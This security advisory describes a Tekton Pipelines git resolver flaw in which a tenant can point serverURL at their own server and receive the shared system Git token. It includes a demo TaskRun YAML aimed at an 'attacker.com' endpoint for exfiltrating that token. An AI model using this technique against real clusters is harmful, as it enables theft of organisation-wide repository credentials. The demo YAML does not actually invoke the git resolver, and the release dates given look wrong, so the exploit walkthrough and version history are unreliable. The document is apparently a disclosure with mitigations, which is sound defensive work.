[HIGH] Security Advisory: Tekton Pipelines: Git resolver API mode leaks system-configured API token to user-controlled serverURL (github.com/tektoncd/pipeline)

Tekton Pipelines, a popular Kubernetes-native CI/CD framework, has a critical vulnerability in its git resolver API mode. From version 1.0.0 to 1.10.0, any tenant with permission to create TaskRuns or PipelineRuns can exfiltrate the system’s shared Git API token—typically a GitHub Personal Access Token (PAT) or GitLab token—by crafting a malicious serverURL pointing to their own server. Omit the token parameter, and the resolver blindly sends the system token to that endpoint.

This isn’t theoretical. The flaw lives in pkg/resolution/resolver/git/resolver.go‘s ResolveAPIGit() function. When a user supplies a serverURL but skips the token, the code grabs the system-configured token from the resolver’s ConfigMap secret and attaches it to an HTTP client aimed at the attacker’s URL. Subsequent API calls like Contents.Find and Git.FindCommit leak it via the Authorization header.

Technical Breakdown

Here’s the step-by-step exploitation:

1. getSCMTypeAndServerURL() pulls serverURL straight from user params with zero validation against the system’s configured URL.
2. No user token means secretRef is nil.
3. getAPIToken() detects this, builds a cache key, and loads the system secret from conf.APISecretName in the SYSTEM_NAMESPACE.
4. The SCM factory creates a client with the system token for the attacker’s serverURL.
5. API requests fire off, token exposed.

To demo, an attacker submits a TaskRun YAML like this:

apiVersion: tekton.dev/v1beta1
kind: TaskRun
metadata:
  generateName: exploit-
spec:
  taskSpec:
    steps:
    - image: ubuntu
      script: /dev/null  # Dummy
  params:
  - name: revision
    value: main
  - name: url
    value: https://attacker.com/malicious  # User-controlled serverURL
  # No 'token' param = system token leaked

Tekton introduced git resolvers in v0.24.0 around 2021, with API mode for faster fetches without cloning full repos. By v1.0.0 in late 2022, adoption surged in enterprise Kubernetes setups like OpenShift Pipelines. This bug affects all releases up to 1.10.0 (October 2024), hitting thousands of clusters per Tekton’s install stats.

Why This Matters and How to Respond

The leaked token often grants read access to private repos holding source code, API keys, deployment YAMLs—even other secrets. In multi-tenant clusters, a rogue dev or compromised service account steals org-wide creds. This mirrors GHSA-j5q5-j9gm-2w5c from March 2024, where attackers read ServiceAccount tokens via path traversal. Both exploit namespace isolation gaps in Tekton resolvers.

Implications run deep: supply chain risks amplify if the token accesses build pipelines. Attackers grab code, scout for vulns, or pivot to downstream repos. In regulated sectors like finance or defense, this breaches compliance overnight.

Patches aren’t released yet—the fix enforces: if serverURL differs from the system URL, users must supply their own token. Reject system tokens for custom URLs.

Workarounds now:

• Disable system tokens: Remove APISecretName from the git resolver ConfigMap. Force per-user tokens.
• Lock down creation: RBAC namespaces to trusted ServiceAccounts only for TaskRun/PipelineRun CRDs.
• Network policies: In tekton-pipelines-resolvers namespace, whitelist egress to github.com:443, gitlab.com:443, etc. Use Calico or Cilium for enforcement.

Verify via kubectl get configmap -n tekton-pipelines-resolvers tekton-pipelines-git-resolver -o yaml. If apiSecretName exists, you’re exposed.

Tekton maintainers flagged this as [HIGH] severity. Update to patched versions ASAP once out—track github.com/tektoncd/pipeline issues. Skeptically, Tekton’s resolver design assumes trusted tenants, but Kubernetes multi-tenancy demands zero-trust. Single shared tokens were a bad call from day one; per-namespace creds or OIDC would harden this. If you’re running Tekton, audit now—don’t wait for breaches.